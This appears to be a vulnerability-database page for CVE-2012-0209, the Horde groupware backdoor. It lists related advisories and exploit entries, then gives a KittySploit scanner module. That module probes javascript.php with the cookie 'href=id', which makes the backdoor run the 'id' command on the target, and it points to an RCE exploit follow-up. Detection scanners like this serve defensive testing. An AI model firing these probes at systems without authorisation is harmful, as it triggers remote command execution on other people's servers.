Horde - javascript.php Backdoor Detection (CVE-2012-0209)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Horde 3.3.12 Backdoor Arbitrary PHP Code Execution | 17 Feb 201200:00 | – | zdt | |
| CVE-2012-0209 | 17 Feb 201200:00 | – | circl | |
| Horde FTP Server Backdoor Arbitrary PHP Code Execution (CVE-2012-0209) | 23 Dec 201200:00 | – | checkpoint_advisories | |
| CVE-2012-0209 | 25 Sep 201222:00 | – | cve | |
| CVE-2012-0209 | 25 Sep 201222:00 | – | cvelist | |
| DSquare Exploit Pack: D2SEC_HORDE_BACKDOOR | 25 Sep 201222:55 | – | d2 | |
| Horde RCE | 15 Feb 201200:00 | – | dsquare | |
| Horde 3.3.12 - Backdoor Arbitrary PHP Code Execution (Metasploit) | 17 Feb 201200:00 | – | exploitdb | |
| Horde 3.3.12 open_calendar.js Backdoor | 17 Feb 201200:00 | – | nessus | |
| Horde javascript.php Backdoor RCE (CVE-2012-0209) | 4 Sep 202606:36 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Horde Groupware javascript.php backdoor (CVE-2012-0209)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Horde - javascript.php Backdoor Detection (CVE-2012-0209)',
'description': (
'Detects CVE-2012-0209 by requesting services/javascript.php with '
'Cookie href=id.'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2012', 'horde', 'backdoor', 'rce', 'unauth', 'vuln',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['exploits/multi/http/horde_cve_2012_0209_rce'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2012-0209',
],
'cve': 'CVE-2012-0209',
}
def run(self):
for base in ('/horde', '', '/groupware'):
path = f'{base}/services/javascript.php?app=horde&file=open_calendar.js'
r = self.http_request(
method='GET',
path=path,
headers={'Cookie': 'href=id'},
allow_redirects=False,
)
if r and re.search(r'uid=\d+.*gid=\d+', r.text or ''):
self.set_info(
severity='critical',
reason='Horde javascript.php backdoor (CVE-2012-0209)',
path=path.split('?')[0],
)
return True
return False
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04 Sep 2026 06:36Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.71897